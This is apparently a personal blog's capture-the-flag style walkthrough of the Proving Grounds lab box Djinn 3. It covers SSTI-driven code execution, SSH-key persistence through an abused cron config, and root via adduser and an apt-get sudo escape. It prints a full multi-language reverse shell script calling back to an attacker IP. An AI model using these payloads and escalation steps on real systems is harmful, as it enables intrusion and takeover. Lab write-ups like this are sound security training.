HHHHarshil - InfoSec Blog

Isn't Everyone Hiding Something?

Home Writeups Resources

This is a write up for the box Djinn 3 on proving grounds which is a Linux based box rated as hard.

Enumeration: Port Scan


┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ rustscan -a 192.168.106.102 -- -sC -sV 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/hhhharshil/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.106.102:22
Open 192.168.106.102:80
Open 192.168.106.102:5000
Open 192.168.106.102:31337
PORT      STATE SERVICE REASON  VERSION                                                                                                                                                                                                     
22/tcp    open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)                                                                                                                                                
| ssh-hostkey:                                                                                                                                                                                                                              
|   2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)                                                                                                                                                                              
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBgUZ4ePUkROKmQX1WTjc3GGAUZN8j2Xpaac1L8B5GEr6aqlrl9ac8iepy+A5dqAVEwiOEyZXlw1IlMEY4fv2a8qmN0w74/+rFPcEVEUsvrD+1Vnz70VnAL9psOl4eG5oDxlH6FCQwgYtZi4b8n4yfLTH1vTf5r6WAf/9Qp3yOE5PRGCxg7wIW8Nhu+79D3qEOqg
4WaxM6qfSQI9F9mcWYKAsLK3OzdlNd94Dg17C7OLkD2xDHr5ntvC7AZCLXiAl9sS5CenfzRYpFRG4f0n4SHg+wIP0DmeilSoDkCZc+32PdYJVr83QAdaLK9oxAi7KQoq4Jv14+m2fdJQOAVlE/                                                                                          
|   256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)                                                                                                                                                                             
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFY5/zNj8f/NP+shaoQcoIQnhjVAZtSByClkEAj7Fr2z7xyToAVrYYg/C6G+UPMVoU4AJjQDqUt9VC/EwpShhC8=                                                                          
|   256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)                                                                                                                                                                           
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFm9xiHj81UmMophY5vH1uG9NZ8VuuLEFox785bXURJu                                                                                                                                                          
80/tcp    open  http    syn-ack lighttpd 1.4.45                                                                                                                                                                                             
| http-methods:                                                                                                                                                                                                                             
|_  Supported Methods: OPTIONS GET HEAD POST                                                                                                                                                                                                
|_http-server-header: lighttpd/1.4.45                                                                                                                                                                                                       
|_http-title: Custom-ers                                                                                                                                                                                                                    
5000/tcp  open  http    syn-ack 2 httpd 1.0.1 (Python 3.6.9)                                                                                                                                                                         
| http-methods:                                                                                                                                                                                                                             
|_  Supported Methods: HEAD OPTIONS GET                                                                                                                                                                                                     
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9                                                                                                                                                                                           
|_http-title: Site doesn't have a title (text/html; charset=utf-8).                                                                                                                                                                         
31337/tcp open  Elite?  syn-ack                                                                                                                                                                                                             
| fingerprint-strings:                                                                                                                                                                                                                      
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:                                                                                                                                                                                        
|     username>                                                                                                                                                                                                                             
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:                                                                                                                                                                         
|     username> password> authentication failed                                                                                                                                                                                             
|   Help:                                                                                                                                                                                                                                   
|     username> password>                                                                                                                                                                                                                   
|   RPCCheck:                                                                                                                                                                                                                               
|     username> Traceback (most recent call last):                                                                                                                                                                                          
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>                                                                                                                                                                              
|     main()                                                                                                                                                                                                                                
|     File "/opt/.tick-serv/tickets.py", line 93, in main                                                                                                                                                                                   
|     username = input("username> ")                                                                                                                                                                                                        
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode                                                                                                                                                                              
|     (result, consumed) = self._buffer_decode(data, self.errors, final)                                                                                                                                                                    
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte                                                                                                                                            
|   SSLSessionReq:                                                                                                                                                                                                                          
|     username> Traceback (most recent call last):                                                                                                                                                                                          
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>                                                                                                                                                                              
|     main()                                                                                                                                                                                                                                
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ") 
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
|   TerminalServerCookie:                                                                                             
|     username> Traceback (most recent call last):                                                                    
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)

Port Breakdown

Foothold: 5000 Ticketing System


An open ticket on the ticketing system shows that there is a default user guest which is still present.

We know that there is a python service running on 31337 so we can try to authenticate to it by using netcat.

└─$ nc 192.168.106.102 31337
username> guest
password> guest

Welcome to our own ticketing system. This application is still under 
development so if you find any issue please report it to mail@mzfr.me

Enter "help" to get the list of available commands.

> help

        help        Show this menu
        update      Update the ticketing software
        open        Open a new ticket
        close       Close an existing ticket
        exit        Exit

Looking back at the port scan results port 5000 uses Werkzeug/1.0.1 Python/3.6.9 as indicated by the http-server-header.

After some googling it was found that Werkzeug runs flask which relies on the Jinja template engine. This is usually exploitable by Server-Side Template Injection aka SSTI.

What is SSTI?

SSTI is the use of malicious user input in the server template which can cause various vulnerablity such as XSS and RCE. The web application converts the input provided to an HTML file.

“7}” is a sample payload typically used to confirm if there is SSTI. This would be inputted into the Title and Description variables returned by the open function.

This github page contains a good amount of payloads which we can try to use against the application:

https://github.com/payloadbox/ssti-payloads

First step to get a Reverse Shell would be to download the reverse shell that we would want to get executed on the box.

The sample SSTI payload will be used to grab and execute files. Its pretty simple to use all we would do is replace what is in between the quotes.

payload>

Reverse Shell


Downloading the file

Title: Download Description:

Browsing to the ticket created will execute the file grabbing hp.sh

Contents of hp.sh

#!/bin/bash

if command -v python > /dev/null 2>&1; then
        python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.49.106",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
        exit;
fi

if command -v perl > /dev/null 2>&1; then
        perl -e 'use Socket;$i="192.168.49.106";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
        exit;
fi

if command -v nc > /dev/null 2>&1; then
        rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.106 4444 >/tmp/f
        exit;
fi

if command -v sh > /dev/null 2>&1; then
        /bin/sh -i >& /dev/tcp/192.168.49.106/4444 0>&1
        exit;
fi

if command -v php > /dev/null 2>&1; then
        php -r '$sock=fsockopen("192.168.49.106",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
        exit;
fi

if command -v ruby > /dev/null 2>&1; then
        ruby -rsocket -e'f=TCPSocket.open("192.168.49.106",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
        exit;
fi

if command -v lua > /dev/null 2>&1; then
        lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.49.106','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
        exit;
fi
                                                                                                                                                                                                                                            

Setup Listener

nc -nvlp 4444

Executing hp.sh

Title: Execute
Download: Description: 

Browsing to the execute ticket will execute hp.sh allowing us to get a reverse shell.

Priv Esc PsPy + Decompiling pyc


PsPy reveals a hidden cronjob being ran as the user saint.

Finding Files that belong to saint

find / -user saint -perm -u=wrx 2>/dev/null

We can see in opt there are two .pyc files we have access to these are likely related to the script that is being ran in pspy.

Next we will grab these files and transfer them over to our kali box.

File Transfer

Kali nc -lvvp 777 > conf.pyc

Target nc 192.168.49.106 777 < .configuration.cpython-38.pyc

UnCompyling

┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ uncompyle6 sync.pyc > sync.py             
                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ cat sync.py                                                                                                                                                                                                                       127 ⨯
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 2.7.18 (default, Apr 28 2021, 17:39:59) 
# [GCC 10.2.1 20210110]
# Warning: this version of Python has problems handling the Python 3 byte type in constants properly.

# Embedded file name: syncer.py
# Compiled at: 2020-06-01 07:32:59
# Size of source mod 2**32: 587 bytes
from configuration import *
from connectors.ftpconn import *
from connectors.sshconn import *
from connectors.utils import *

def main():
    """Main function
    Cron job is going to make my work easy peasy
    """
    configPath = ConfigReader.set_config_path()
    config = ConfigReader.read_config(configPath)
    connections = checker(config)
    if 'FTP' in connections:
        ftpcon(config['FTP'])
    else:
        if 'SSH' in connections:
            sshcon(config['SSH'])
        else:
            if 'URL' in connections:
                sync(config['URL'], config['Output'])


if __name__ == '__main__':
    main()
# okay decompiling sync.pyc

The file above will copy the URL contents set in the Json file to output.

# Decompiled from: Python 2.7.18 (default, Apr 28 2021, 17:39:59)                                                                                                                                                                    [0/548]
# [GCC 10.2.1 20210110]
# Warning: this version of Python has problems handling the Python 3 byte type in constants properly.

# Embedded file name: configuration.py
# Compiled at: 2020-06-04 10:49:49
# Size of source mod 2**32: 1343 bytes
import os, sys, json
from glob import glob
from datetime import datetime as dt

class ConfigReader:
    config = None

    @staticmethod
    def read_config(path):
        """Reads the config file
        """
        config_values = {}
        try:
            with open(path, 'r') as (f):
                config_values = json.load(f)
        except Exception as e:
            try:
                print("Couldn't properly parse the config file. Please use properl")
                sys.exit(1)
            finally:
                e = None
                del e

        else:
            return config_values

    @staticmethod
    def set_config_path():
        """Set the config path
        """
        files = glob('/home/saint/*.json')
        other_files = glob('/tmp/*.json')
        files = files + other_files
        try:
            if len(files) > 2:
                files = files[:2]
            else:
                file1 = os.path.basename(files[0]).split('.')
                file2 = os.path.basename(files[1]).split('.')
                if file1[(-2)] == 'config':
                    if file2[(-2)] == 'config':
                        a = dt.strptime(file1[0], '%d-%m-%Y')
                        b = dt.strptime(file2[0], '%d-%m-%Y')
                if b < a:
                    filename = files[0]
                else:
                    filename = files[1]
        except Exception:
            sys.exit(1)
        else:
            return filename
# okay decompiling config.pyc

This file will filter for files with date.json.config in both saints home directory adn /tmp. The JSON file has to be in D-M-Y format to be read by the script.

Pivoting to Saint


We can abuse this by creating a malicious .json.config file which copies our id_rsa.pub file into saints .ssh folder which will basically allow us to use our id_rsa private key which is hosted on our kali box to ssh into the box.

(ssh-keygen -t rsa) can be used to generate ssh keys if needed.

Setup

┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ cp /home/hhhharshil/.ssh/id_rsa.pub .
                                                                                                                                                                                                                                            
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ nano 01-01-2022.config.json     
                                                                                                                                                                                                                                            
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ cat 01-01-2022.config.json
{
"URL": "http://192.168.49.106/id_rsa.pub",
"Output": "/home/saint/.ssh/authorized_keys"
}
                                                                                                                                                                                                                                            
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ updog -p 80           
[+] Serving /home/hhhharshil/Desktop/djinn3...
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)

Copied our id_rsa.pub into a folder where we will host the webserver and created a date.config.json file which will copy id_rsa.pub and put it into saints .ssh folder.

Downloading Config.json

www-data@djinn3:/tmp$ wget 192.168.49.106/01-01-2022.config.json
--2022-01-02 07:36:58--  http://192.168.49.106/01-01-2022.config.json
Connecting to 192.168.49.106:80... connected.
HTTP request sent, awaiting response... 200 OK

Wait 3 minutes or so for the saint script to execute the 01-01-2022.config.json which should pull the id_rsa.pub which is hosted on the kali box.

┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ updog -p 80           
[+] Serving /home/hhhharshil/Desktop/djinn3...
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
192.168.106.102 - - [01/Jan/2022 21:15:22] "GET /01-01-2022.config.json HTTP/1.1" 200 -
192.168.106.102 - - [01/Jan/2022 21:18:02] "GET /id_rsa.pub HTTP/1.1" 200 -

Testing useradd + Reading Sudoers


┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ ssh saint@192.168.106.102  
The authenticity of host '192.168.106.102 (192.168.106.102)' can't be established.
ECDSA key fingerprint is SHA256:3XUVJT+K/E3WTM90vv1SPpznUZKf/dLXVAtrfZioQlM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.106.102' (ECDSA) to the list of known hosts.
Enter passphrase for key '/home/hhhharshil/.ssh/id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jan  2 07:49:08 IST 2022

  System load:  0.0               Processes:           157
  Usage of /:   38.1% of 9.78GB   Users logged in:     0
  Memory usage: 48%               IP address for eth0: 192.168.106.102
  Swap usage:   1%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

134 packages can be updated.
93 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

saint@djinn3:~$ sudo -l
Matching Defaults entries for saint on djinn3:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User saint may run the following commands on djinn3:
    (root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin

We were able to successfully login as saint. sudo -l reveals we can addusers to the machine. We will make a test user and add it to the root group specified by -gid=0

saint@djinn3:~$ sudo adduser harshil -gid=0
Adding user `harshil' ...
Adding new user `harshil' (1003) with group `root' ...
Creating home directory `/home/harshil' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
Changing the user information for harshil
Enter the new value, or press ENTER for the default
        Full Name []: Harshil
        Room Number []:  
        Work Phone []: 
        Home Phone []: 
        Other []: 
Is the information correct? [Y/n] 
saint@djinn3:~$ su harshil
Password: 
harshil@djinn3:/home/saint$ 

harshil@djinn3:/home/saint$ cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:
# If you need a huge list of used numbers please install the nmap package.

saint ALL=(root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin

jason ALL=(root) PASSWD: /usr/bin/apt-get
#includedir /etc/sudoers.d

added the user harshil to the root group and we can’t run sudo since we are not in the sudoers group however we can read /etc/sudoers which reveal there is a user jason that can run apt-get as root.

Although we do not have the creds for jason we can simply overwrite the current jason user by creating a new one with adduser.

Pivoting to Jason + Root


saint@djinn3:~$ sudo adduser jason -gid=0
Adding user `jason' ...
Adding new user `jason' (1004) with group `root' ...
Creating home directory `/home/jason' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
Changing the user information for jason
Enter the new value, or press ENTER for the default
        Full Name []: Jason
        Room Number []: 
        Work Phone []: 
        Home Phone []: 
        Other []: 
Is the information correct? [Y/n] y
saint@djinn3:~$ su jason
Password: 
jason@djinn3:/home/saint$ sudo -l
[sudo] password for jason: 
Matching Defaults entries for jason on djinn3:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jason may run the following commands on djinn3:
    (root) PASSWD: /usr/bin/apt-get
jason@djinn3:/home/saint$ 

GTFO Bin

The priv esc from here is fairly simple since there is a gtfo bin that allows to sudo escape and excute sh when invoking sudo apt-get update.

jason@djinn3:/home/saint$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami
root
#